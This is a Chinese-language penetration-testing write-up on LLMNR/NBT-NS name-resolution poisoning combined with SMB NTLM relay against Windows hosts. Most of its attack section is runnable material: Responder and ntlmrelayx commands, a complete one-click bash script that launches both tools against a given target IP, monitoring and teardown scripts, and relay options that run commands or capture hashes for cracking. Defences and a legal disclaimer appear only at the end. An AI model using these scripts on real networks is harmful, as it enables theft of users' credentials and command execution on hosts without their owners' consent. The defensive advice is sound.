背景

在内网渗透测试中,发现目标 Windows 主机存在以下配置问题:

  • SMB 签名未强制
  • LLMNR/NBT-NS 协议开放

这为 LLMNR/NBT-NS 投毒 + SMB 中继攻击提供了条件。


一、漏洞原理

1.1 什么是 LLMNR 和 NBT-NS?

当用户在 Windows 中访问网络资源(如 \\server\share)时,系统会按以下顺序解析主机名:

优先级 协议 端口 说明
1 DNS 53/TCP,UDP 首选的名称解析方式
2 LLMNR 5355/UDP DNS 失败后的链路本地多播解析
3 NBT-NS 137/UDP 更传统的 NetBIOS 名称解析

关键点:如果 DNS 查询失败,Windows 会向整个局域网广播 LLMNR/NBT-NS 请求,询问"谁知道这个主机的 IP?"

1.2 攻击原理图解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
正常流程:
用户访问 \\wrong-server\share

DNS 查询 → 失败

LLMNR 广播 → 无响应

返回错误: 找不到主机

攻击流程:
用户访问 \\wrong-server\share

DNS 查询 → 失败

LLMNR 广播 ──────────────────┐
↓ │
┌──────────────────────────┘

攻击机 (Responder) 响应:
"我是 wrong-server, 我的 IP 是 [攻击机IP]"

目标信以为真, 连接到攻击机的 SMB 服务

发送 NTLM 认证凭据给攻击机

ntlmrelayx 接收凭据并中继到真实目标

1.3 为什么能成功?

条件 说明
SMB 签名未强制 允许中继 NTLM 认证(如果启用签名则无法中继)
LLMNR/NBT-NS 开放 允许响应欺骗性的名称解析
同网段 攻击机能收到广播包
用户触发 用户访问不存在的网络路径

二、环境说明

2.1 测试环境

角色 系统 说明
攻击机 Kali Linux 运行 Responder + ntlmrelayx
目标机 Windows 10 内网测试靶机

2.2 使用工具

工具 用途
Responder LLMNR/NBT-NS/MDNS 投毒器
ntlmrelayx (Impacket) SMB/HTTP NTLM 中继工具

三、攻击步骤

3.1 准备工作:修改 Responder 配置

Responder 默认会启动 SMB 和 HTTP 服务器,这与 ntlmrelayx 冲突。需要先关闭:

1
2
3
4
5
6
7
# 编辑配置文件
nano /etc/responder/Responder.conf

# 修改以下行(将 On 改为 Off):
SMB = Off # 关闭 SMB 服务器
HTTP = Off # 关闭 HTTP 服务器
HTTPS = Off # 关闭 HTTPS 服务器

3.2 启动 ntlmrelayx(中继服务器)

1
2
# 使用 screen 保持后台运行
screen -dmS relay bash -c 'impacket-ntlmrelayx -t <目标IP> -smb2support -of /tmp/ntlmrelayx_out 2>&1 | tee /tmp/ntlmrelayx.log'

参数解释:

参数 作用
-t <目标IP> 中继认证的目标地址
-smb2support 支持 SMB 2/3 协议
-of <目录> 输出文件保存目录

验证启动成功:

1
2
3
4
5
6
7
8
# 检查进程
ps aux | grep ntlmrelayx

# 检查端口监听(应该看到 445、80、6666)
netstat -tlnp | grep ':445 '

# 查看日志
tail -f /tmp/ntlmrelayx.log

预期输出:

1
2
3
4
5
[*] Setting up SMB Server          # 监听 TCP 445
[*] Setting up HTTP Server # 监听 TCP 80
[*] Setting up WCF Server # 监听 TCP 9222
[*] Setting up RAW Server # 监听 TCP 6666
[*] Servers started, waiting for connections

3.3 启动 Responder(投毒器)

1
nohup responder -I eth0 -wd 2>&1 > /tmp/responder.log &

参数解释:

参数 作用
-I eth0 监听的网卡接口
-w 启用 WPAD 投毒(可捕获浏览器代理请求)
-d 强制分析模式(始终响应)

验证启动成功:

1
2
3
4
5
6
7
8
# 检查进程
ps aux | grep Responder

# 检查 UDP 端口监听(137、138、5353、5355)
netstat -ulnp | grep -E '(137|138|5355)'

# 实时查看投毒日志
tail -f /usr/share/responder/logs/Responder-Session.log

3.4 等待触发条件

部署完成后,攻击进入等待阶段。需要目标主机主动触发名称解析请求:

触发场景 示例
访问错误的共享路径 \\wrong-server\share
连接不存在的主机 \\fake-pc\ipc$
引用错误的打印服务器 \\old-printer
脚本/程序访问错误地址 配置文件中的错误主机名

监控命令:

1
2
3
4
5
6
7
8
9
10
11
12
# 同时查看两个服务的日志
watch -n 2 '
echo "=== NTLMRELAYX ==="
tail -15 /tmp/ntlmrelayx.log
echo ""
echo "=== RESPONDER ==="
tail -10 /tmp/responder.log
'

# 查看 Responder 数据库
sqlite3 /usr/share/responder/Responder.db "SELECT * FROM Poisoned ORDER BY timestamp DESC LIMIT 20;"
sqlite3 /usr/share/responder/Responder.db "SELECT * FROM responder;"

四、攻击结果分析

4.1 成功的投毒日志

当目标主机触发名称解析时,Responder 会记录:

1
2
3
[*] [LLMNR]  Poisoned answer sent to <目标IP> for name wrong-server
[*] [NBT-NS] Poisoned answer sent to <目标IP> for name WRONG-SERVER (service: File Server)
[*] [MDNS] Poisoned answer sent to <目标IP> for name wrong-server.local

4.2 中继连接日志

当目标连接到攻击者的 SMB 服务并发送认证时:

1
2
[*] SMBD-Thread-5: Received connection from <目标IP>, attacking target smb://<目标IP>
[-] Authenticating against smb://<目标IP> as <域>\<用户名> FAILED

4.3 结果分析

本次测试中捕获到的关键信息:

项目 内容
连接来源 目标主机主动连接
认证类型 SMB NTLM 认证
账户类型 Microsoft 在线账户

认证失败原因:Microsoft 在线账户需要连接云端验证,无法通过本地 SMB 协议完成认证。

重要结论:如果目标是本地账户(如 WORKGROUP\user),此攻击将直接获取系统权限!

4.4 如果成功的样子

当中继认证成功时,ntlmrelayx 会输出:

1
2
3
4
5
6
7
8
9
10
11
[+] Authenticating against smb://<目标IP> as <域>\<用户名> SUCCESS!
[*] SMBv3.0 signed detected
[+] Dumping info from target SMB
[+] Retrieving domain SID... S-1-5-21-xxxxxxxxxx
[+] Enumerating Shares
[+] Share: ADMIN$
[+] Share: C$

# 可以执行命令!
[+] Executing command: whoami
<域名>\<用户名>

此时已获得目标的 SMB 访问权限,可以:

  • 列举共享文件夹
  • 上传/下载文件
  • 执行系统命令(取决于权限级别)

五、完整攻击脚本

5.1 一键部署脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/bin/bash
# ============================================================
# LLMNR/NBT-NS 投毒 + SMB 中继攻击 - 一键部署脚本
# 用法: sudo bash llmnr_relay.sh <目标IP> [网卡接口]
# 示例: sudo bash llmnr_relay.sh 192.168.0.100 eth0
# ============================================================

set -e

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'

# 参数检查
if [ $# -lt 1 ]; then
echo -e "${RED}[!] 用法: $0 <目标IP> [网卡接口]${NC}"
echo " 示例: $0 192.168.0.100 eth0"
exit 1
fi

TARGET="$1"
INTERFACE="${2:-eth0}"
LOG_DIR="/tmp"
RESPONDER_CONF="/etc/responder/Responder.conf"

echo -e "${BLUE}[*] LLMNR/NBT-NS 投毒 + SMB 中继攻击${NC}"
echo -e "${BLUE}[*] 目标: ${TARGET}${NC}"
echo -e "${BLUE}[*] 网卡: ${INTERFACE}${NC}"
echo ""

# 检查 root 权限
if [ "$EUID" -ne 0 ]; then
echo -e "${RED}[!] 请使用 root 权限运行!${NC}"
exit 1
fi

# Step 1: 备份并修改 Responder 配置
echo -e "${YELLOW}[+] Step 1: 修改 Responder 配置...${NC}"
cp "$RESPONDER_CONF" "${RESPONDER_CONF}.bak.$(date +%Y%m%d%H%M%S)"
sed -i 's/^SMB = On/SMB = Off/' "$RESPONDER_CONF"
sed -i 's/^HTTP = On/HTTP = Off/' "$RESPONDER_CONF"
sed -i 's/^HTTPS = On/HTTPS = Off/' "$RESPONDER_CONF"
echo -e "${GREEN}[✓] Responder 配置已修改 (SMB/HTTP/HTTPS 已关闭)${NC}"

# Step 2: 清理旧进程和端口
echo ""
echo -e "${YELLOW}[+] Step 2: 清理环境...${NC}"
pkill -9 -f responder 2>/dev/null || true
pkill -9 -f ntlmrelayx 2>/dev/null || true
screen -S relay -X quit 2>/dev/null || true
fuser -k 445/tcp 2>/dev/null || true
fuser -k 80/tcp 2>/dev/null || true
fuser -k 6666/tcp 2>/dev/null || true
sleep 2
echo -e "${GREEN}[✓] 环境清理完成${NC}"

# Step 3: 启动 ntlmrelayx
echo ""
echo -e "${YELLOW}[+] Step 3: 启动 ntlmrelayx...${NC}"
screen -dmS relay bash -c "impacket-ntlmrelayx -t $TARGET -smb2support -of ${LOG_DIR}/ntlmrelayx_out 2>&1 | tee ${LOG_DIR}/ntlmrelayx.log"
sleep 4

if pgrep -f ntlmrelayx > /dev/null; then
echo -e "${GREEN}[✓] ntlmrelayx 启动成功${NC}"
else
echo -e "${RED}[✗] ntlmrelayx 启动失败,检查日志: ${LOG_DIR}/ntlmrelayx.log${NC}"
exit 1
fi

# Step 4: 启动 Responder
echo ""
echo -e "${YELLOW}[+] Step 4: 启动 Responder...${NC}"
nohup responder -I $INTERFACE -wd 2>&1 > ${LOG_DIR}/responder.log &
sleep 3

if pgrep -f "Responder.py" > /dev/null; then
echo -e "${GREEN}[✓] Responder 启动成功${NC}"
else
echo -e "${RED}[✗] Responder 启动失败,检查日志: ${LOG_DIR}/responder.log${NC}"
exit 1
fi

# Step 5: 验证状态
echo ""
echo -e "${YELLOW}[+] Step 5: 验证部署状态...${NC}"
echo ""

echo -e "${BLUE}=== 进程状态 ===${NC}"
ps aux | grep -E '(ntlmrelayx|Responder)' | grep -v grep | awk '{print " " $11 " (PID: " $2 ")"}'

echo ""
echo -e "${BLUE}=== 端口监听 ===${NC}"
netstat -tlnp 2>/dev/null | grep -E ':(445|80|6666) ' | awk '{print " TCP " $4 " → " $7}' || echo " (无法获取端口信息)"
netstat -ulnp 2>/dev/null | grep -E ':(137|138|5355) ' | awk '{print " UDP " $4 " → $7}' || echo " (无法获取端口信息)"

echo ""
echo -e "${GREEN}=========================================${NC}"
echo -e "${GREEN}[✓] 攻击部署完成! 等待目标触发请求...${NC}"
echo -e "${GREEN}=========================================${NC}"
echo ""
echo -e "${YELLOW}监控命令:${NC}"
echo " 查看中继日志: tail -f ${LOG_DIR}/ntlmrelayx.log"
echo " 查看投毒日志: tail -f /usr/share/responder/logs/Responder-Session.log"
echo " 实时监控: watch -n 2 'tail -15 \${LOG_DIR}/ntlmrelayx.log && echo === && tail -10 \${LOG_DIR}/responder.log'"
echo ""
echo -e "${YELLOW}停止攻击:${NC}"
echo " bash stop_attack.sh"

5.2 停止攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/bash
# ============================================================
# 停止 LLMNR/NBT-NS 投毒 + SMB 中继攻击
# ============================================================

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

RESPONDER_CONF="/etc/responder/Responder.conf"

echo -e "${YELLOW}[+] 停止攻击服务...${NC}"

# 停止进程
pkill -9 -f responder 2>/dev/null && echo -e "${GREEN}[✓] Responder 已停止${NC}" || echo -e "${YELLOW}[-] Responder 未运行${NC}"
pkill -9 -f ntlmrelayx 2>/dev/null && echo -e "${GREEN}[✓] ntlmrelayx 已停止${NC}" || echo -e "${YELLOW}[-] ntlmrelayx 未运行${NC}"
screen -S relay -X quit 2>/dev/null && echo -e "${GREEN}[✓] Screen 会话已关闭${NC}" || true

# 释放端口
fuser -k 445/tcp 2>/dev/null || true
fuser -k 80/tcp 2>/dev/null || true
fuser -k 6666/tcp 2>/dev/null || true

sleep 1

# 恢复 Responder 配置
if [ -f "${RESPONDER_CONF}.bak."* ]; then
LATEST_BACKUP=$(ls -t ${RESPONDER_CONF}.bak.* 2>/dev/null | head -1)
if [ -n "$LATEST_BACKUP" ]; then
cp "$LATEST_BACKUP" "$RESPONDER_CONF"
echo -e "${GREEN}[✓] Responder 配置已恢复${NC}"
fi
else
sed -i 's/^SMB = Off/SMB = On/' "$RESPONDER_CONF"
sed -i 's/^HTTP = Off/HTTP = On/' "$RESPONDER_CONF"
sed -i 's/^HTTPS = Off/HTTPS = On/' "$RESPONDER_CONF"
echo -e "${GREEN}[✓] Responder 配置已恢复${NC}"
fi

# 清理日志文件(可选)
# rm -f /tmp/ntlmrelayx.log /tmp/responder.log

echo ""
echo -e "${GREEN}[✓] 攻击环境已清理${NC}"

5.3 实时监控脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/bin/bash
# ============================================================
# 实时监控 LLMNR/NBT-NS 攻击状态
# ============================================================

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m'

while true; do
clear
echo -e "${BLUE}╔══════════════════════════════════════╗${NC}"
echo -e "${BLUE}║ LLMNR/NBT-NS 攻击实时监控 ║${NC}"
echo -e "${BLUE}╚══════════════════════════════════════╝${NC}"
echo ""

# 时间
echo -e "${CYAN}[$(date '+%Y-%m-%d %H:%M:%S')]${NC}"
echo ""

# 进程状态
echo -e "${YELLOW}┌─ 进程状态 ───────────────────────────┐${NC}"
if pgrep -f ntlmrelayx > /dev/null; then
echo -e " ${GREEN}● ntlmrelayx: 运行中 (PID: $(pgrep -f ntlmrelayx | head -1))${NC}"
else
echo -e " ${RED}● ntlmrelayx: 未运行${NC}"
fi

if pgrep -f "Responder.py" > /dev/null; then
echo -e " ${GREEN}● Responder: 运行中 (PID: $(pgrep -f Responder.py | head -1))${NC}"
else
echo -e " ${RED}● Responder: 未运行${NC}"
fi
echo -e "${YELLOW}└──────────────────────────────────────┘${NC}"
echo ""

# NTLMRELAYX 日志(最后20行)
echo -e "${YELLOW}┌─ NTLMRELAYX 日志 (最近20行) ──────────┐${NC}"
if [ -f /tmp/ntlmrelayx.log ]; then
tail -20 /tmp/ntlmrelayx.log 2>/dev/null | sed 's/^/ /'
else
echo " (日志文件不存在)"
fi
echo -e "${YELLOW}└──────────────────────────────────────┘${NC}"
echo ""

# RESPONDER 日志(最后10行)
echo -e "${YELLOW}┌─ RESPONDER 日志 (最近10行) ──────────┐${NC}"
if [ -f /tmp/responder.log ]; then
tail -10 /tmp/responder.log 2>/dev/null | sed 's/^/ /'
else
echo " (日志文件不存在)"
fi
echo -e "${YELLOW}└──────────────────────────────────────┘${NC}"
echo ""

# 数据库统计
echo -e "${YELLOW}┌─ 数据库统计 ─────────────────────────┐${NC}"
if command -v sqlite3 &> /dev/null; then
POISONED=$(sqlite3 /usr/share/responder/Responder.db "SELECT COUNT(*) FROM Poisoned;" 2>/dev/null || echo "0")
HASHES=$(sqlite3 /usr/share/responder/Responder.db "SELECT COUNT(*) FROM responder;" 2>/dev/null || echo "0")
echo " 投毒记录数: $POISONED"
echo " 哈希捕获数: $HASHES"
else
echo " (sqlite3 不可用)"
fi
echo -e "${YELLOW}└──────────────────────────────────────┘${NC}"
echo ""
echo -e "${CYAN}(按 Ctrl+C 退出监控)${NC}"

sleep 3
done

5.4 高级配置选项

自定义 ntlmrelayx 参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 基础中继
impacket-ntlmrelayx -t <目标IP> -smb2support

# 执行命令(认证成功后)
impacket-ntlmrelayx -t <目标IP> -smb2support -c "whoami"

# 上传/下载文件
impacket-ntlmrelayx -t <目标IP> -smb2support -e local_file.txt

# 获取系统信息
impacket-ntlmrelayx -t <目标IP> -smb2support --enum-local-admins

# 使用 SOCKS 代理
impacket-ntlmrelayx -t <目标IP> -smb2support -socks

# 多目标中继(从文件读取)
impacket-ntlmrelayx -tf targets.txt -smb2support

Responder 高级参数

1
2
3
4
5
6
7
8
9
10
11
12
# 仅监听特定 IP 的请求
responder -I eth0 -wd --resp <允许响应的IP>

# 忽略特定名称
# 编辑 Responder.conf:
DontRespondToName = NAC,IPS,IDS

# 指定伪造的 IP(默认为攻击机IP)
responder -I eth0 -wd --ip <伪造IP>

# 使用固定 Challenge(便于后续破解)
responder -I eth0 -wd --lm <16进制Challenge>

5.5 快速命令参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# ====== 部署 ======
bash deploy.sh <目标IP> # 一键部署
bash monitor.sh # 实时监控
bash stop.sh # 停止攻击

# ====== 手动操作 ======
# 修改配置
sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf

# 启动服务
screen -dmS relay impacket-ntlmrelayx -t <IP> -smb2support
nohup responder -I eth0 -wd &

# 查看日志
tail -f /tmp/ntlmrelayx.log
tail -f /usr/share/responder/logs/Responder-Session.log

# 数据库查询
sqlite3 /usr/share/responder/Responder.db "SELECT * FROM responder;"
sqlite3 /usr/share/responder/Responder.db "SELECT * FROM Poisoned;"

# ====== 故障排查 ======
# 端口冲突
fuser -k 445/tcp; fuser -k 80/tcp

# 进程卡死
pkill -9 -f ntlmrelayx; pkill -9 -f responder

# 重启 screen 会话
screen -r relay # 进入会话
screen -S relay -X quit # 退出会话

六、防御措施

6.1 禁用 LLMNR/NBT-NS(推荐)

组策略方式:

1
2
计算机配置 → 管理模板 → 网络 → DNS 客户端
→ 关闭 LLMNR 上的多播名称解析 → 已启用

注册表方式:

1
2
3
4
5
# 禁用 LLMNR
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticastResolver" -Value 0 -Type DWord

# 禁用 NBT-NS
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\Interfaces" -Name "NetbiosOptions" -Value 2 -Type DWord

6.2 启用 SMB 签名

1
2
3
计算机配置 → Windows 设置 → 安全设置 → 本地策略 → 安全选项
→ Microsoft 网络客户端: 数字签名通信(始终) → 已启用
→ Microsoft 网络服务器: 数字签名通信(始终) → 已启用

6.3 其他建议

措施 效果
最小化服务暴露 关闭不必要的端口和服务
网络分段 隔离不可信设备到独立 VLAN
账户安全 使用强密码,禁用空会话

七、总结

7.1 攻击链验证结果

1
2
3
✅ LLMNR/NBT-NS 投毒 → ✅ 目标接收欺骗响应
→ ✅ 建立 SMB 连接到攻击者 → ✅ NTLM 认证被捕获
→ ⚠️ 中继认证(在线账户无法本地验证)

7.2 关键要点

  1. 攻击前提:SMB 签名未强制 + LLMNR/NBT-NS 开放
  2. 触发条件:用户访问不存在的网络路径
  3. 防御核心:禁用 LLMNR/NBT-NS 或启用 SMB 签名
  4. 实际风险:内网环境中此类配置很常见,容易被利用

7.3 参考资源


本文仅用于安全研究和授权渗透测试,请遵守相关法律法规。